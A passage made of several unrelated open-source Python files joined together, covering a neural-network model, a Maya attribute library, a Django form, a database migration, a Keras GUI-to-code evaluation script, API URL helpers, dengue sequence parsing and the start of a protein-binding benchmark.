self.pool5(F.relu(self.conv5(x))) # x = self.drop5(x) # flatten the inputs into a vector x = x.view(x.size(0), -1) x = F.relu(self.fc3(x)) x = self.drop6(x) x = F.relu(self.fc4(x)) x = self.drop7(x) x = self.fc5(x) # a modified x, having gone through all the layers of your model, should be returned return x color/__init__.py0 # flake8: noqa import pkg_resources __version__ = pkg_resources.get_distribution("color-alpa").version from .color import Color from .color import Colourcgpilou/cgp_maya_utils """ miscellaneous attribute object library """ # imports python import ast # imports third-parties import maya.cmds # imports local import cgp_maya_utils.api import cgp_maya_utils.constants from . import _generic # MISC OBJECTS # class BoolAttribute(_generic.Attribute): """attribute object that manipulates a ``boolean`` attribute """ # ATTRIBUTES # _attributeType = cgp_maya_utils.constants.AttributeType.BOOLEAN # COMMANDS # def setValue(self, value): """set the value on the attribute :param value: value to set on the boolean attribute :type value: bool or int """ # init value = 0 if not value else 1 # execute maya.cmds.setAttr(self.fullName(), value) class EnumAttribute(_generic.Attribute): """attribute object that manipulates a ``enum`` attribute """ # ATTRIBUTES # _attributeType = cgp_maya_utils.constants.AttributeType.ENUM # OBJECT COMMANDS # @classmethod def create(cls, node, name, items=None, value=None, connections=None, **__): """create an enum attribute :param node: node on which to create the attribute :type node: str :param name: name of the attribute to create :type name: str :param items: items used to create the attribute :type items: list[str] :param value: value to set on the attribute :type value: int or str :param connections: connection to build on the attribute - ``{'source': node.attribute, 'destinations': [node.attribute ...]}`` :type connections: dict :return: the created attribute :rtype: :class:`cgp_maya_utils.scene.EnumAttribute` """ # execute maya.cmds.addAttr(node, longName=name, attributeType=cls._attributeType, enumName=':'.join(items or [])) # get attribute object attrObject = cls('{0}.{1}'.format(node, name)) # set if value specified if value: attrObject.setValue(value) # connect attribute if specified if connections: attrObject.connect(source=connections['source'], destinations=connections['destinations']) # return return attrObject # COMMANDS # def data(self, skipConversionNodes=True): """data necessary to store the enum attribute on disk and/or recreate it from scratch :param skipConversionNodes: ``True`` : conversion nodes are skipped - ``False`` conversion nodes are not skipped :type skipConversionNodes: bool :return: the data of the enum attribute :rtype: dict """ # init data = super(EnumAttribute, self).data(skipConversionNodes=skipConversionNodes) # update data data['items'] = self.items() # return return data def items(self): """get the items of the enum attribute :return: the items of the enum attribute :rtype: list[str] """ # return return maya.cmds.attributeQuery(self.name(), node=self.node().name(), listEnum=True)[0].split(':') def setValue(self, value): """set the value on the enum attribute :param value: value to set on the enum attribute :type value: float or str """ # data is int if isinstance(value, int): maya.cmds.setAttr(self.fullName(), value) # data is str elif isinstance(value, basestring): enumValues = maya.cmds.attributeQuery(self.name(), node=self.node().name(), listEnum=True) enumValues = enumValues[0].split(':') maya.cmds.setAttr(self.fullName(), enumValues.index(value)) # errors else: raise ValueError('{0} {1} is not a valid data - expecting --> str or int'.format(value, type(value))) def value(self, asString=True): """the value of the enum attribute :param asString: ``True`` : value is returned as a string - ``False`` : value is returned as an integer :type asString: bool :return: the value of the enum attribute :rtype: int or str """ # return return maya.cmds.getAttr(self.fullName(), asString=asString) class MatrixAttribute(_generic.Attribute): """attribute object that manipulates a ``matrix`` attribute """ # ATTRIBUTES # _attributeType = cgp_maya_utils.constants.AttributeType.MATRIX # COMMANDS # def setValue(self, value): """set the value on the matrix attribute :param value: value to set on the matrix attribute :type value: list[int, float] """ # execute if value and isinstance(value, basestring): self.connect(source=value) elif value: maya.cmds.setAttr(self.fullName(), type=self.attributeType(), *value) else: self.disconnect(source=True, destinations=False) def transformationMatrix(self, rotateOrder=None): """the transformationMatrix related to the MMatrix stored in the matrix attribute :param rotateOrder: rotateOrder of the transformationMatrix to get - use transform one if nothing specified :type rotateOrder: str :return: the transformationMatrix :rtype: :class:`cgp_maya_utils.api.TransformationMatrix` """ # return return cgp_maya_utils.api.TransformationMatrix.fromAttribute(self, rotateOrder=rotateOrder) class MessageAttribute(_generic.Attribute): """attribute object that manipulates a ``message`` attribute """ # ATTRIBUTES # _attributeType = cgp_maya_utils.constants.AttributeType.MESSAGE # COMMANDS # def setValue(self, value): """set the value on the message attribute :param value: value to set on the message attribute :type value: str or :class:`cgp_maya_utils.scene.Attribute` """ # execute if value: self.connect(source=value) else: self.disconnect(source=True, destinations=False) def value(self): """the value of the message attribute :return: the value of the message attribute :rtype: str """ # get connection connections = maya.cmds.listConnections(self.fullName(), source=True, destination=True, plugs=True) # return return connections[0] if connections else None class StringAttribute(_generic.Attribute): """attribute object that manipulates a ``string`` attribute """ # ATTRIBUTES # _attributeType = cgp_maya_utils.constants.AttributeType.STRING # COMMANDS # def eval(self): """eval the content of the string attribute :return: the eval content :rtype: literal """ # return return ast.literal_eval(self.value()) def setValue(self, value): """set the value on the attribute :param value: value used to set the attribute :type value: str """ # execute maya.cmds.setAttr(self.fullName(), value or '', type=self.attributeType()) ## Copyright 2016 - 2018 ## This file is part of the LabHamster project (https://github.com/graik/labhamster). ## LabHamster is released under the MIT open source license, which you can find ## along with this project (LICENSE) or at . from __future__ import unicode_literals import django.forms as forms import labhamster.models as M class OrderForm(forms.ModelForm): """Customized form for Order add/change""" def __init__(self, *args, **kwargs): """ relies on self.request which is created by RequestFormAdmin """ super(OrderForm, self).__init__(*args, **kwargs) ## only execute for Add forms without existing instance o = kwargs.get('instance', None) if not o and self.request: ## stopped working in django 1.9: ## self.initial['created_by'] = str(self.request.user.id) self.fields['created_by'].initial = self.request.user.id class Meta: model = M.Order fields = "__all__" widgets = { 'po_number': forms.TextInput(attrs={'size': 20}), 'comment':forms.Textarea(attrs={'rows': 4, 'cols': 80}), } 1-10 """Add FR Entity Type and FR Entity Description to TAS Lookup table Revision ID: Revises: 821a7f4694f0 Create Date: 2017-06-05 03:29:17.584501 """ # revision identifiers, used by Alembic. revision = '' down_revision = '821a7f4694f0' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa def upgrade(engine_name): globals()["upgrade_%s" % engine_name]() def downgrade(engine_name): globals()["downgrade_%s" % engine_name]() def upgrade_data_broker(): op.add_column('tas_lookup', sa.Column('fr_entity_description', sa.Text(), nullable=True)) op.add_column('tas_lookup', sa.Column('fr_entity_type', sa.Text(), nullable=True)) ### end Alembic commands ### def downgrade_data_broker(): op.drop_column('tas_lookup', 'fr_entity_type') op.drop_column('tas_lookup', 'fr_entity_description') ### end Alembic commands ### Bootstrap/test_model.py from os import listdir from keras.models import model_from_json from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from nltk.translate.bleu_score import corpus_bleu import numpy as np from compiler.classes.Compiler import * from keras.models import Model, Sequential from keras.layers.core import Dropout, Flatten from keras.optimizers import RMSprop from keras.layers.convolutional import Conv2D from keras.layers import Embedding, RepeatVector, LSTM, concatenate , Input, Dense, GRU def load_model(model_name, vocab_size, max_length): if model_name == 'LSTM': # Create the encoder image_model = Sequential() image_model.add(Conv2D(16, (3, 3), padding='valid', activation='relu', input_shape=(256, 256, 3,))) image_model.add(Conv2D(16, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) image_model.add(Conv2D(32, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) image_model.add(Conv2D(64, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(128, (3, 3), activation='relu', padding='same')) image_model.add(Flatten()) image_model.add(Dense(1024, activation='relu')) image_model.add(Dropout(0.3)) image_model.add(Dense(1024, activation='relu')) image_model.add(Dropout(0.3)) image_model.add(RepeatVector(max_length)) visual_input = Input(shape=(256, 256, 3,)) encoded_image = image_model(visual_input) language_input = Input(shape=(max_length,)) language_model = Embedding(vocab_size, 50, input_length=max_length, mask_zero=True)(language_input) language_model = LSTM(128, return_sequences=True)(language_model) language_model = LSTM(128, return_sequences=True)(language_model) # Create the decoder decoder = concatenate([encoded_image, language_model]) decoder = LSTM(512, return_sequences=True)(decoder) decoder = LSTM(512, return_sequences=False)(decoder) decoder = Dense(vocab_size, activation='softmax')(decoder) # Compile the model model = Model(inputs=[visual_input, language_input], outputs=decoder) optimizer = RMSprop(lr=0.0001, clipvalue=1.0) model.compile(loss='categorical_crossentropy', optimizer=optimizer) return model elif model_name == 'GRU': image_model = Sequential() image_model.add(Conv2D(16, (3, 3), padding='valid', activation='relu', input_shape=(256, 256, 3,))) image_model.add(Conv2D(16, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) image_model.add(Conv2D(32, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) image_model.add(Conv2D(64, (3, 3), activation='relu', padding='same', strides=2)) image_model.add(Conv2D(128, (3, 3), activation='relu', padding='same')) image_model.add(Flatten()) image_model.add(Dense(1024, activation='relu')) image_model.add(Dropout(0.3)) image_model.add(Dense(1024, activation='relu')) image_model.add(Dropout(0.3)) image_model.add(RepeatVector(max_length)) visual_input = Input(shape=(256, 256, 3,)) encoded_image = image_model(visual_input) language_input = Input(shape=(max_length,)) language_model = Embedding(vocab_size, 50, input_length=max_length, mask_zero=True)(language_input) language_model = GRU(128, return_sequences=True)(language_model) language_model = GRU(128, return_sequences=True)(language_model) # Create the decoder decoder = concatenate([encoded_image, language_model]) decoder = GRU(512, return_sequences=True)(decoder) decoder = GRU(512, return_sequences=False)(decoder) decoder = Dense(vocab_size, activation='softmax')(decoder) # Compile the model model = Model(inputs=[visual_input, language_input], outputs=decoder) optimizer = RMSprop(lr=0.0001, clipvalue=1.0) model.compile(loss='categorical_crossentropy', optimizer=optimizer) return model else: return None # Read a file and return a string def load_doc(filename): file = open(filename, 'r') text = file.read() file.close() return text def load_data(data_dir): text = [] images = [] # Load all the files and order them all_filenames = listdir(data_dir) all_filenames.sort() for filename in (all_filenames)[-2:]: if filename[-3:] == "npz": # Load the images already prepared in arrays image = np.load(data_dir+filename) images.append(image['features']) else: # Load the boostrap tokens and rap them in a start and end tag syntax = ' ' + load_doc(data_dir+filename) + ' ' # Seperate all the words with a single space syntax = ' '.join(syntax.split()) # Add a space after each comma syntax = syntax.replace(',', ' ,') text.append(syntax) images = np.array(images, dtype=float) return images, text # Initialize the function to create the vocabulary print("Creating vocabulary") tokenizer = Tokenizer(filters='', split=" ", lower=False) # Create the vocabulary tokenizer.fit_on_texts([load_doc('resources/bootstrap.vocab')]) vocab_size = len(tokenizer.word_index) + 1 max_length = 48 print("Loading test data") dir_name = 'resources/custom_test/' train_features, texts = load_data(dir_name) print("Loading model") #load model and weights # json_file = open('models/model.json', 'r') # loaded_model_json = json_file.read() # json_file.close() # loaded_model = model_from_json(loaded_model_json) loaded_model = load_model('LSTM', vocab_size, max_length) print(loaded_model.summary()) # load weights into new model print("Loading weights") loaded_model.load_weights("models/LSTM_model.h5") print("Loaded model from disk") # map an integer to a word def word_for_id(integer, tokenizer): for word, index in tokenizer.word_index.items(): if index == integer: return word return None print(word_for_id(17, tokenizer)) # generate a description for an image def generate_desc(model, tokenizer, photo, max_length): photo = np.array([photo]) # seed the generation process in_text = ' ' # iterate over the whole length of the sequence print('\nPrediction---->\n\n ', end='') for i in range(150): # integer encode input sequence sequence = tokenizer.texts_to_sequences([in_text])[0] # pad input sequence = pad_sequences([sequence], maxlen=max_length) # predict next word yhat = loaded_model.predict([photo, sequence], verbose=0) # convert probability to integer yhat = np.argmax(yhat) # map integer to word word = word_for_id(yhat, tokenizer) # stop if we cannot map the word if word is None: break # append as input for generating the next word in_text += word + ' ' # stop if we predict the end of the sequence print(word + ' ', end='') if word == '': break return in_text # evaluate the skill of the model def evaluate_model(model, descriptions, photos, tokenizer, max_length): actual, predicted = list(), list() # step over the whole set for i in range(len(texts)): yhat = generate_desc(model, tokenizer, photos[i], max_length) # store actual and predicted print('\n\nReal---->\n\n' + texts[i]) actual.append([texts[i].split()]) predicted.append(yhat.split()) # calculate BLEU score bleu = corpus_bleu(actual, predicted) print("XXXXX: ", bleu) return bleu, actual, predicted print("Evaluating model") bleu, actual, predicted = evaluate_model(loaded_model, texts, train_features, tokenizer, max_length) print("Compiling the first prediction to HTML/CSS") #Compile the tokens into HTML and css dsl_path = "compiler/assets/web-dsl-mapping.json" compiler = Compiler(dsl_path) compiled_website = compiler.compile(predicted[0], 'index.html') print(compiled_website ) print(bleu)vartagg/dataprovider-py from urlobject import URLObject ROOT = URLObject('https://shortesttrack.com') METADATA_ENDPOINT = ROOT.add_path('api/metadata/') EXECUTION_METADATA_ENDPOINT = ROOT.add_path('api/execution-metadata/') LOGGING_ENDPOINT = ROOT.add_path('api/logging/') DATA_ENDPOINT = ROOT.add_path('api/data') PERFORMANCES_LIST_GET_PATH = EXECUTION_METADATA_ENDPOINT.add_path('v2/performances/') def sec_get_detail(uuid): return METADATA_ENDPOINT.add_path('script-execution-configurations/{uuid}'.format(uuid=uuid)) def performance_get_detail(uuid): return EXECUTION_METADATA_ENDPOINT.add_path('v2/performances/{uuid}/'.format(uuid=uuid)) def performance_output_parameter_post(parameter_id, performance_id): return EXECUTION_METADATA_ENDPOINT.\ add_path('v2/performances/{performance_id}/output-parameters/{parameter_id}/value/'. format(performance_id=performance_id, parameter_id=parameter_id)) def logging_post(performance_id): return LOGGING_ENDPOINT.add_path('performances/{performance_id}/'.format(performance_id=performance_id)) def matrices(matrices_id): return METADATA_ENDPOINT.add_path('matrices/{matrices_id}'.format(matrices_id=matrices_id)) def matrices_upload(dataset_id, matrices_id): return DATA_ENDPOINT.add_path('datasets/{dataset_id}/matrices/{matrices_id}/upload'. format(dataset_id=dataset_id, matrices_id=matrices_id)) def matrices_get(dataset_id, matrices_id): return DATA_ENDPOINT.add_path('datasets/{dataset_id}/matrices/{matrices_id}/data'. format(dataset_id=dataset_id, matrices_id=matrices_id)) def sec_matrices_get(sec_id, dataset_id, matrices_id): return DATA_ENDPOINT.add_path('script-execution-configurations/{sec_id}/datasets/' '{dataset_id}/matrices/{matrices_id}/data'. format(sec_id=sec_id, dataset_id=dataset_id, matrices_id=matrices_id)) def sec_matrices_insert(sec_id, dataset_id, matrices_id): return DATA_ENDPOINT.add_path('script-execution-configurations/{sec_id}/datasets/' '{dataset_id}/matrices/{matrices_id}/insert'. format(sec_id=sec_id, dataset_id=dataset_id, matrices_id=matrices_id)) def sec_matrices_batch_insert(sec_id, dataset_id, matrices_id): return DATA_ENDPOINT.add_path('script-execution-configurations/{sec_id}/datasets/' '{dataset_id}/matrices/{matrices_id}/upload'. format(sec_id=sec_id, dataset_id=dataset_id, matrices_id=matrices_id)) def object_download(repo_id, file_id): return DATA_ENDPOINT.add_path('blob-repositories/{repo_id}/download'. format(repo_id=repo_id)).add_query_param('name', file_id) def object(repo_id, file_id): return DATA_ENDPOINT.add_path('blob-repositories/{repo_id}'. format(repo_id=repo_id)).add_query_param('name', file_id) blab/dengue ''' parse, filter, subsample and save as JSON ''' from __future__ import division, print_function import os, re, time, csv, sys from base.titer_model import TiterCollection from io_util import myopen from collections import defaultdict from Bio import SeqIO import numpy as np from seq_util import pad_nucleotide_sequences, nuc_alpha, aa_alpha from datetime import datetime import json from pdb import set_trace import git from utils import fix_names, num_date, ambiguous_date_to_date_range, potentially_combine from pprint import pprint import logging logger = logging.getLogger(__name__) TINY = 1e-10 class sequence_set(object): """ sequence set deals with loading sequences (stored in self.seqs) and various basic tasks including filtering, output etc """ @classmethod def get_gene_name(cls, gene, genes): """Return a gene name for the given gene identifier and gene config. Args: cls (Python class): class for this method gene (str): gene identifier from a GenBank record genes (list or dict): a list of GenBank gene identifiers or a dictionary indexed by identified to a preferred gene name Returns: str: a gene name for the given gene identifier >>> genes = ["HA1", "HA2"] >>> sequence_set.get_gene_name("HA1", genes) 'HA1' >>> genes = {"HA1": "HA1", "HA": "SigPep"} >>> sequence_set.get_gene_name("HA1", genes) 'HA1' >>> sequence_set.get_gene_name("HA", genes) 'SigPep' >>> sequence_set.get_gene_name("HA2", genes) 'HA2' """ try: return genes.get(gene, gene) except AttributeError: return gene def __init__(self, logger, segmentName): super(sequence_set, self).__init__() self.log = logger self.segmentName = segmentName self.extras = {} def load_mfa(self, path): try: with myopen(path) as seq_file: self.seqs = {x.name:x for x in SeqIO.parse(seq_file, 'fasta')} except Exception as e: self.log.fatal("Error loading sequences from {}. Error: {}".format(path, e)) self.nstart = len(self.seqs) self.log.notify("Loaded {} sequences from {}".format(self.nstart, path)) def ungap(self): ''' remove previously existing gaps and make sure all sequences are upper case ''' for seq in self.seqs.values(): seq.seq = seq.seq.ungap('-').upper() def parse_headers(self, fields, sep='|', strip='_'): ''' split the sequence description and add annotations to sequences ''' try: assert("strain" in fields.values()) except AssertionError: self.log.fatal("Config file: fasta_fields must contain 'strain'") for seq in self.seqs.values(): if not hasattr(seq, "attributes"): seq.attributes = {} words = map(lambda x:fix_names(x), seq.description.replace(">","").split(sep)) for ii, val in enumerate(words): if ii in fields: if val not in ["", "-"]: # self.log.debug("{} -> {}".format(fields[ii], val)) seq.attributes[fields[ii]] = val else: seq.attributes[fields[ii]] = "" self.seqs = {seq.attributes['strain']:seq for seq in self.seqs.values()} for seq in self.seqs.values(): seq.id = seq.attributes['strain'] seq.name = seq.attributes['strain'] def load_json(self, path): pass def _parse_date_per_seq(self, seq, fmts): if 'date' in seq.attributes and seq.attributes['date']!='': for fmt in fmts: try: if 'XX' in seq.attributes['date']: min_date, max_date = ambiguous_date_to_date_range(seq.attributes['date'], fmt) seq.attributes['raw_date'] = seq.attributes['date'] seq.attributes['num_date'] = np.array((num_date(min_date), num_date(max_date))) seq.attributes['date'] = min_date else: if callable(fmt): tmp = fmt(seq.attributes['date']) else: try: tmp = datetime.strptime(seq.attributes['date'], fmt).date() except: tmp = seq.attributes['date'] seq.attributes['raw_date'] = seq.attributes['date'] seq.attributes['num_date'] = num_date(tmp) seq.attributes['date']=tmp break except: continue # ## helpful debugging statements: # try: # self.log.debug("{} date: {}, raw_date: {}, num_date: {}".format(seq.name, seq.attributes['date'], seq.attributes['raw_date'], seq.attributes['num_date'])) # except KeyError: # self.log.debug("{} missing date(s)".format(seq.name)) def parse_date(self, fmts, prune): if not hasattr(self.seqs.values()[0], "attributes"): self.log.fatal("parse meta info first") from datetime import datetime for seq in self.seqs.values(): self._parse_date_per_seq(seq, fmts) if prune: count = len(self.seqs) self.filterSeqs("Missing Date", lambda x:'date' in x.attributes and type(x.attributes['date'])!=str) self.log.notify("Removed sequences with missing dates (segment {}). n: {} -> {}".format(self.segmentName, count, len(self.seqs))) def filterSeqs(self, funcName, func): names = set(self.seqs.keys()) if hasattr(self, "reference") and self.reference.include == 2: self.seqs = {key:seq for key, seq in self.seqs.iteritems() if func(seq) or key==self.reference.name} else: self.seqs = {key:seq for key, seq in self.seqs.iteritems() if func(seq)} for name in names - set(self.seqs.keys()): self.log.drop(name, self.segmentName, funcName) # def filter(self, func, leave_ref=False): # if leave_ref: # self.all_seqs = {key:seq for key, seq in self.all_seqs.iteritems() if func(seq) or key==self.reference_seq.name} # else: # self.all_seqs = {key:seq for key, seq in self.all_seqs.iteritems() if func(seq)} # print("Filtered to %d sequences"%len(self.all_seqs)) def getSubsamplingFunc(self, config, name): defaults = { "category": lambda x: (x.attributes['date'].year, x.attributes['date'].month), "priority": lambda x: np.random.random(), "threshold": lambda x: 5 } # print("subsampling fn for ", name) try: fnIn = config["subsample"][name] except KeyError: # print("not found - using defaults") return defaults[name] # first - catch the case of INT threshold if name == "threshold" and type(fnIn) is int: # print("thresholding to INT", fnIn) return lambda x: fnIn # fnIn may be a higher order function try: fn = fnIn(self) assert(callable(fn)) # print("HIGHER ORDER :)") return fn except Exception as e: pass try: assert(callable(fnIn)) # print("CALLABLE :)") return fnIn except AssertionError: pass # print("not higher order or callable - falling back to defaults") return defaults[name] def get_subsampled_names(self, config): ''' see docs/prepare.md for explination ''' self.sequence_categories = defaultdict(list) names_prior = set(self.seqs.keys()) seqs_to_subsample = self.seqs.values() if config.get("strains") is not None: with open(config["strains"], "r") as fh: include = set([line.strip() for line in fh]) else: category = self.getSubsamplingFunc(config, "category") priority = self.getSubsamplingFunc(config, "priority") threshold = self.getSubsamplingFunc(config, "threshold") # sort sequences into categories and assign priority score for seq in seqs_to_subsample: seq._priority = priority(seq) self.sequence_categories[category(seq)].append(seq) # collect taxa to include include = set([]) for cat, seqs in self.sequence_categories.iteritems(): under_sampling = min(1.00, 1.0*len(seqs)/threshold(cat)) for s in seqs: s.under_sampling=under_sampling seqs.sort(key=lambda x:x._priority, reverse=True) include.update([seq.id for seq in seqs[:threshold(cat)]]) self.log.notify("Subsampling will take {}/{} strains".format(len(include), len(seqs_to_subsample))) return include def get_trait_values(self, trait): vals = set() for seq, obj in self.seqs.iteritems(): if trait in obj.attributes: vals.add(obj.attributes[trait]) # don't forget the reference here try: if self.reference.use: vals.add(self.reference.attributes[trait]) except: pass # perhaps not set, no refrence, whatever return vals def write_json(self, fh, config, prefix): # datetime() objects and [arrays] don't go to JSONs # not a problem - we still have raw_date to get them back for seq in self.seqs.values(): if 'date' in seq.attributes: del seq.attributes['date'] if 'num_date' in seq.attributes: del seq.attributes['num_date'] data = self.extras data["info"] = { "n(starting)": self.nstart, "n(final)": len(self.seqs), # "commit": git.Repo(search_parent_directories=True).head.object.hexsha, "date_format": config["date_format"], "subsampled": bool(config["subsample"]), "traits_are_dates": [], "title": config["title"], "maintainer": config["maintainer"], "auspice_filters": config["auspice_filters"] } if "traits_are_dates" in config and isinstance(config["traits_are_dates"], (list, tuple)): data["info"]["traits_are_dates"] = [trait for trait in config["traits_are_dates"] if trait in config["header_fields"].values()] data["info"]["prefix"] = prefix if self.segmentName == "genome": data["info"]["input_file"] = config["input_paths"][0] else: data["info"]["input_file"] = config["input_paths"][config["segments"].index(self.segmentName)] if "time_interval" in config: data["info"]["time_interval"] = [str(x) for x in config["time_interval"]] potentially_combine(config, data["info"], "regions") potentially_combine(config, data["info"], "lineage", False) data["info"]["segment"] = self.segmentName potentially_combine(config, data["info"], "resolution", False) data["sequences"] = {} for seqName, seq in self.seqs.iteritems(): data["sequences"][seqName] = { "attributes": seq.attributes, "seq": str(seq.seq) } if not self.reference: data["reference"] = None else: data["reference"] = { # "attributes": self.reference.attributes, "strain": self.reference.attributes["strain"], "seq": str(self.reference.seq), "genes": self.reference.genes, "included": self.reference.name in self.seqs } # Titers must be present in the config and not None to be used. if config.get("titers") is not None: # Subset titer data to match the strains selected for export. filtered_titers = TiterCollection.filter_strains(config["titers"], self.seqs.keys()) # Convert tuple dictionary keys to strings for JSON compatability. data["titers"] = {str(key): value for key, value in filtered_titers.iteritems()} logger.debug("Filtered titers from %i to %i measures" % (len(config["titers"]), len(data["titers"]))) # Flu-specific elements... if "vaccine_choices" in config and config["vaccine_choices"] is not None: data["info"]["vaccine_choices"] = {} for k, v in config["vaccine_choices"].items(): if k in self.extras["leaves"]: data["info"]["vaccine_choices"][k] = v else: print("WARNING! Vaccine strain {} was not present in the data".format(k)) if "LBI_params" in config: data["info"]["LBI_params"] = config["LBI_params"] if "frequency_params" in config: data["info"]["frequency_params"] = config["frequency_params"] json.dump(data, fh, indent=2) def load_reference(self, path, fmts, metadata, include=2, genes=False): """Assume it's genbank.""" try: self.reference = SeqIO.read(path, 'genbank') except Exception as e: self.log.fatal("Problem reading reference {}. Error: {}".format(path, e)) ## some checks try: assert("strain" in metadata) if include > 0: assert("date" in metadata) except AssertionError as e: self.log.fatal("Poorly defined reference. Error:".format(e)) if genes: # we used to make these FeatureLocation objects here, but that won't go to JSON # so just do it in the Process part instead. For reference: # FeatureLocation(start=f.location.start, end=f.location.end, strand=1) self.reference.genes = { sequence_set.get_gene_name(f.qualifiers['gene'][0], genes): {"start": int(f.location.start), "end": int(f.location.end), "strand": f.location.strand} for f in self.reference.features if 'gene' in f.qualifiers and f.qualifiers['gene'][0] in genes } else: self.reference.genes = {} # use the supplied metadata dict to define attributes seq_attr_keys = self.seqs.values()[0].attributes.keys() self.reference.attributes = {k:fix_names(v) for k,v in metadata.items() if k in seq_attr_keys} self.reference.name = self.reference.attributes["strain"] self.reference.id = self.reference.attributes["strain"] # is there any possibility that the reference will be added to the sequences? self.reference.include = include; # flag {0,1,2} if self.reference.name in self.seqs: self.log.notify("Segment {} reference already in dataset".format(self.segmentName)) if include == 0: self.log.notify("Removing reference from pool of sequences to analyse") del self.seqs[self.reference.name] elif include > 0: ## add to sequences (tidy up attributes first) self._parse_date_per_seq(self.reference, fmts) self.seqs[self.reference.name] = self.reference missing_attrs = set(seq_attr_keys) - set(self.reference.attributes.keys()) - set(["date", "num_date"]) if len(missing_attrs) > 0: self.log.notify("Including reference in segment {} but the following attributes are missing: {}".format(self.segmentName, " & ".join(missing_attrs))) if __name__=="__main__": pass #!/usr/bin/env python # coding: utf-8 import pymesh from IPython.core.debugger import set_trace import time import os from default_config.masif_opts import masif_opts import numpy as np import os import matplotlib.pyplot as plt import glob from Bio.PDB import * import copy import scipy.sparse as spio import sys start_time = time.time() """ pdl1_benchmark.py: Scan a large database of proteins for binders of PD-L1. The ground truth is PD-L1 in the bound state (chain A of PDB id: 4ZQK) and - LPDI STI EPFL 2019 Released under an Apache License 2.0 """ def blockPrint(): sys.stdout = open(os.devnull, "w") sys.stderr = open(os.devnull, "w") def enablePrint(): sys.stdout = sys.__stdout__ sys.stderr = sys.__stderr__ masif_root = os.environ["masif_root"] top_dir = os.path.join(masif_root, "data/masif_pdl1_benchmark/") surf_dir = os.path.join(top_dir, masif_opts["ply_chain_dir"]) iface_dir = os.path.join( top_dir, masif_opts["site"]["out_pred_dir"] ) ply_iface_dir = os.path.join( top_dir, masif_opts["site"]["out_surf_dir"] ) desc_dir = os.path.join(masif_opts["ppi_search"]["desc_dir"]) pdb_dir = os.path.join(top_dir, masif_opts["pdb_chain_dir"]) precomp_dir = os.path.join( top_dir, masif_opts["site"]["masif_precomputation_dir"] ) # Extract a geodesic patch. def get_patch_geo( pcd, patch_coords, center, descriptors, outward_shift=0.25, flip=False ): """ Get a patch based on geodesic distances. pcd: the point cloud. patch_coords: the geodesic distances. center: the index of the center of the patch descriptors: the descriptors for every point in the original surface. outward_shift: expand the surface by a float value (for better alignment) flip: invert the surface? """ idx = patch_coords[center] try: pts = np.asarray(pcd.points)[idx, :] except: set_trace() nrmls = np.asarray(pcd.normals)[idx, :] # Expand the surface in the direction of the normals. pts = pts + outward_shift * nrmls if flip: nrmls = -np.asarray(pcd.normals)[idx, :] patch = PointCloud() patch.points = Vector3dVector(pts) patch.normals = Vector3dVector(nrmls) patch_descs = Feature() patch_descs.data = descriptors[idx, :].T return patch, patch_descs def subsample_patch_coords(top_dir, pdb, pid, cv=None, frac=1.0, radius=12.0): """ subsample_patch_coords: Read the geodesic coordinates in an easy to access format. pdb: the id of the protein pair in PDBID_CHAIN1_CHAIN2 format. pid: 'p1' if you want to read CHAIN1, 'p2' if you want to read CHAIN2 cv: central vertex (list of patches to select; if None, select all) """ if cv is None: pc = np.load(os.path.join(top_dir, pdb, pid+'_list_indices.npy')) else: temp = np.load(os.path.join(top_dir, pdb, pid+'_list_indices.npy'))[cv] pc = {} for ix, key in enumerate(cv): pc[key] = temp[ix] return pc def get_target_vix(pc, iface): iface_patch_vals = [] # Go through each patch. for ii in range(len(pc)): neigh = pc[ii] val = np.mean(iface[neigh]) iface_patch_vals.append(val) target_vix = np.argmax(iface_patch_vals) return target_vix # # Load target patches. target_name = "4ZQK_A" target_ppi_pair_id = "" # Go through every 12A patch in top_dir -- get the one with the highest iface mean 12A around it. target_ply_fn = os.path.join(ply_iface_dir, target_name + ".ply") mesh = pymesh.load_mesh(target_ply_fn) iface = mesh.get_attribute("vertex_iface") target_coord = subsample_patch_coords(precomp_dir, target_ppi_pair_id, "p1") target_vix = get_target_vix(target_coord, iface) target_pcd = read_point_cloud(target_ply_fn) target_desc = np.load(os.path.join(desc_dir, target_ppi_pair_id, "p1_desc_flipped.npy")) # Get the geodesic patch and descriptor patch for the target. target_patch, target_patch_descs = get_patch_geo( target_pcd, target_coord, target_vix, target_desc, flip=True, outward_shift=1.0 ) out_patch = open("target.vert", "w+") for point in target_patch.points: out_patch.write("{}, {}, {}\n".format(point[0], point[1], point[2])) out_patch.close() # Match descriptors that have a descriptor distance less than K def match_descriptors( in_desc_dir, in_iface_dir, pids, target_desc, desc_dist_cutoff=1.7, iface_cutoff=0.8 ): all_matched_names = [] all_matched_vix = [] all_matched_desc_dist = [] count_proteins = 0 for ppi_pair_id in os.listdir(in_desc_dir): if ".npy" in ppi_pair_id or ".txt" in ppi_pair_id: continue if count_proteins > 300 and ('4ZQK' not in ppi_pair_id and '3BIK' not in ppi_pair_id): continue mydescdir = os.path.join(in_desc_dir, ppi_pair_id) for pid in pids: try: fields = ppi_pair_id.split("_") if pid == "p1": pdb_chain_id = fields[0] + "_" + fields[1] elif pid == "p2": pdb_chain_id = fields[0] + "_" + fields[2] iface = np.load(in_iface_dir + "/pred_" + pdb_chain_id + ".npy")[0] descs = np.load(mydescdir + "/" + pid + "_desc_straight.npy") except: continue print(pdb_chain_id) name = (ppi_pair_id, pid) count_proteins += 1 diff = np.sqrt(np.sum(np.square(descs - target_desc), axis=1)) true_iface = np.where(iface > iface_cutoff)[0] near_points = np.where(diff < desc_dist_cutoff)[0] selected = np.intersect1d(true_iface, near_points) if len(selected > 0): all_matched_names.append([name] * len(selected)) all_matched_vix.append(selected) all_matched_desc_dist.append(diff[selected]) print("Matched {}".format(ppi_pair_id)) print("Scores: {} {}".format(iface[selected], diff[selected])) print("Iterated over {} proteins.".format(count_proteins)) return all_matched_names, all_matched_vix, all_matched_desc_dist, count_proteins def rand_rotation_matrix(deflection=1.0, randnums=None): """ Creates a random rotation matrix. deflection: the magnitude of the rotation. For 0, no rotation; for 1, competely random rotation. Small deflection => small perturbation. randnums: 